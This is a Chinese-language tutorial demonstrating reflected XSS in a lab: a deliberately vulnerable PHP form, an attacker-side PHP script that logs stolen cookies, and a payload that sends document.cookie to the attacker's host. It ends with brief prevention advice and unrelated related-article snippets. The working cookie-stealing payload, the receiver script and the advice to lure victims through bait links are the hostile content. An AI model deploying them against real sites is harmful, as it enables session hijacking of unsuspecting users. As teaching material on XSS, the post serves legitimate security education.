大多数人对于XSS的原理有一个基本认识,这里不再重复,只给出一个能够演示其原理的完整样例。
1 角色分配
- 有XXS漏洞的网站,IP地址172.16.35.135,PHP为开发语言
- 受害访问者,IP地址172.16.35.220,浏览器为IE11
- 黑客的数据接收网站,IP地址172.16.2.192,PHP为开发语言
2 源码实例
2.1 漏洞网站
存在漏洞的URL为:http://172.16.35.135/xss_demo.php
- <?php
- session_start();
- ?>
- <!doctype html>
- <html>
- <head>
- <title>XSS demo</title>
- </head>
- <body>
- <form>
- <input style="width:300px;" type="text" name="address1" value="<?php echo $_GET["address1"]; ?>" />
- <input type="submit" value="Submit" />
- </form>
- </body>
- </html>
该网页把用户通过GET发送过来的表单数据,未经处理直接写入返回的html流,这就是XSS漏洞所在。
2.2 黑客接收网站
接收网站的URL为http://172.16.2.192/xss_hacker.php
- <?php
- $victim = 'XXS得到的 cookie:'. $_SERVER['REMOTE_ADDR']. ':' .$_GET['cookie'];
- file_put_contents('xss_victim.txt', $victim);
把受害用户的IP地址和访问漏洞网站时使用的cookie,一起写入xss_victim.txt文件保存备用。
2.3 用户正常访问
用户使用IE11访问网站。现在网站一般都采用session+cookie来保存用户登录信息,网站通过验证cookie来确实是否是合法已登录用户,所以cookie是用户的敏感数据.
3 攻击过程
3.1 黑客准备攻击字符串,构造攻击URL
黑客可以通过各种扫描工具或者人工输入来找到有XSS漏洞的网站URL,然后精心构造攻击字符串。对于本例来说构造出来的字符串为:
- "/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--
只要把这个字符串作为漏洞网站文本编辑框的表单值输入提交,就会造成攻击。手工输入这个字符串,并提交,浏览器地址栏自动生成攻击URL。如下图:
此时,用户访问漏洞网站的html代码,被修改成了:
- <!doctype html>
- <html>
- <head>
- <title>XSS demo</title>
- </head>
- <body>
- <form>
- <input style="width:500px;" type="text" name="address1" value=""/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--" />
- <input type="submit" value="Submit" />
- </form>
- </body>
- </html>
明显看出,这个html回去执行一个脚本,这个脚本功能是把用户的cookie发送到黑客的接收网站。
最终生成的攻击URL为:
- http://172.16.35.135/xss_demo.php?address1=%22%2F%3E+%3Cscript%3Ewindow.open%28%22http%3A%2F%2F172.16.2.192%2Fxss_hacker.php%3Fcookie%3D%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E%3C%21--
接下来要做的就是,寻找受害人,诱惑其点击上述URL。
3.2 用户上当误点击攻击URL
黑客可以采取各种手段,包括发Email,在各种论坛网站发布此攻击URL,如做成如下诱人连接。
屌丝们最喜欢美女了,在好奇心的驱动下,点击了这个美女图片。而点击的后果正是访问前面的攻击URL。
3.3 用户敏感数据被发送到黑客接收网站
受害用户访问攻击URL后,其敏感数据自动发送到黑客的接收网站。接收网站把这些敏感信息保存到文件中,当然现实的情况一定是存入数据库中了。
xss_victim.txt中现在保存了受害者的敏感数据。
- XXS得到的 cookie:172.16.35.220:PHPSESSID=4duu55hgci1leee4os6101cl30
注意,默认IE11开启了XSS筛选器,此时IE会阻止上述简单攻击脚本。为模拟攻击,我们临时把XSS筛选器禁用。
3.4 黑客利用敏感数据做坏事
有了受害用户的敏感数据,就可以利用这些数据做各种坏事了,比如以受害用户身份登录漏洞网站,等等。
4 XSS的预防
XSS的预防可以从多方面着手:
(1)如前面所述,浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;
(2)从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段,始终把安全放在心上;
(3)对于普通网民,需要注意尽量抵挡诱惑,别去点击非知名网站的链接。
相关推荐
跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web应用程序安全漏洞,其形成原因主要是由于Web应用程序对用户输入的数据过滤不充分或者处理不当,导致恶意脚本被注入到网页中。当其他用户访问这些包含恶意...
- **定义与起源**:跨站脚本(Cross-Site Scripting,简称XSS)是一种常见的Web应用程序安全漏洞,最早出现于1996年。XSS攻击利用的是网站对用户输入数据过滤不严的特点,使得攻击者能够在网站页面上注入恶意脚本...
为了演示XSS的危害,还可以设计脚本来偷取用户cookies,实现更隐蔽的攻击。 **防范XSS漏洞的措施** 1. **数据过滤与转义**:对用户输入的数据进行严格的检查和转义,避免包含HTML标签和JavaScript代码。 2. **使用...
**XSS(跨站脚本攻击)基础知识** XSS(Cross-Site Scripting)是一种常见的网络安全漏洞,它允许攻击者在受害者的浏览器上执行恶意脚本。这些脚本可以窃取用户数据、操纵网页内容或者实施其他恶意行为。XSS攻击...
3. **DWR的安全性**:DWR如何防止跨站脚本攻击(XSS)和跨站请求伪造(CSRF)等安全问题。 4. **动态更新**:DWR如何实现页面部分的实时更新,而不需整个页面刷新。 5. **调试技巧**:如何利用DWR的内置调试工具检查...
此外,对于Web应用,安全性是至关重要的,例如使用HTTPS、防止跨站脚本攻击(XSS)和跨站请求伪造(CSRF)等。 总结起来,C#上传图片涉及了文件操作、HTTP请求处理、服务器交互、异常处理等多个方面的知识。通过...
最后,为了确保系统的安全性,开发者还需要关注CSRF(跨站请求伪造)和XSS(跨站脚本攻击)防护。对于CSRF,可以使用Token机制;对于XSS,可以通过对输出内容进行转义或使用Content Security Policy来防御。 总的来...
此外,书籍还会涉及安全性问题,如防止SQL注入、XSS跨站脚本攻击等常见的Web安全威胁,以及如何通过PHP来实施相应的防护措施。在电子商务环境下,保护用户数据和交易安全是首要任务。 在实际开发部分,书籍会通过...
武器化的XSS有效负载 XSS有效载荷旨在将alert(1)转换为P1。...使用这些有效负载的最简单方法是将它们托管在某个地方,然后将其加载到XSS有效负载的脚本标签的src属性中,如下所示: <script src="http://evil.
最后,安全是任何Web应用的重要考虑因素,涉及密码哈希、CSRF(跨站请求伪造)防护、XSS(跨站脚本攻击)预防以及HTTPS(安全套接层)的使用,以保护用户数据的安全。 总的来说,"网页程序设计.ppt"的压缩包可能...
9. **安全性**:使用Ajax时需注意安全问题,比如防止XSS(跨站脚本攻击)和CSRF(跨站请求伪造)。 10. **性能优化**:虽然Ajax提高了用户体验,但也可能导致过多的服务器请求,影响性能。因此,合理使用缓存、分批...
最后,视频可能还会涉及安全方面,如如何过滤用户输入,防止XSS(跨站脚本攻击)和其他潜在的安全问题。Smarty提供了多种预定义的安全策略,可以帮助你限制模板可以访问的PHP函数和变量,以增强应用安全性。 ...
11. **Ajax安全考量**:分析Ajax应用可能遇到的安全风险,如XSS(跨站脚本攻击)、CSRF(跨站请求伪造)等,并提供防护措施。 12. **综合案例**:通过一个完整的实例,将前面所有章节的知识串联起来,展现一个功能...
9. **安全考虑**:防止XSS跨站脚本攻击和CSRF跨站请求伪造,保护用户数据的安全。 10. **更新维护**:发布后需要持续收集用户反馈,进行迭代更新,修复可能出现的问题。 通过这份"笑话小程序源码加截图.7z",...
接下来,教程会引导你探索常见的Web漏洞类型,如SQL注入、跨站脚本(XSS)、跨站请求伪造(CSRF)等。通过实例演示,你将学会如何识别这些漏洞,以及如何构造攻击向量。对于每种漏洞,都会讲解其产生的原因、危害...
2. **服务器脚本**:ASP脚本接收到用户提交的数据后,进行验证、处理,可能包括防止SQL注入、XSS攻击等安全措施。 3. **数据库交互**:ASP程序通过ADO(ActiveX Data Objects)连接到数据库,将用户提交的信息存储到...
考虑到实际应用,系统还需要考虑安全性,例如防止SQL注入和跨站脚本攻击(XSS)。同时,性能优化也很重要,比如使用缓存减少数据库访问,合理设计索引以提高查询效率。 总的来说,"jsp简单图书管理系统"是一个涵盖...
它可以保护Web应用免受常见攻击,如CSRF(跨站请求伪造)和XSS(跨站脚本)。 本教程的"Spring course.pdf"将深入浅出地讲解上述内容,包括实例演示和实践指导,帮助初学者快速上手Spring框架,为后续的Java企业级...
7. **安全策略**:考虑到网上交易的安全性,项目可能涉及到用户密码加密、防止SQL注入和跨站脚本攻击(XSS)等安全措施。 8. **错误处理和异常处理**:良好的程序应具备完善的错误处理机制,包括捕获和处理可能出现的...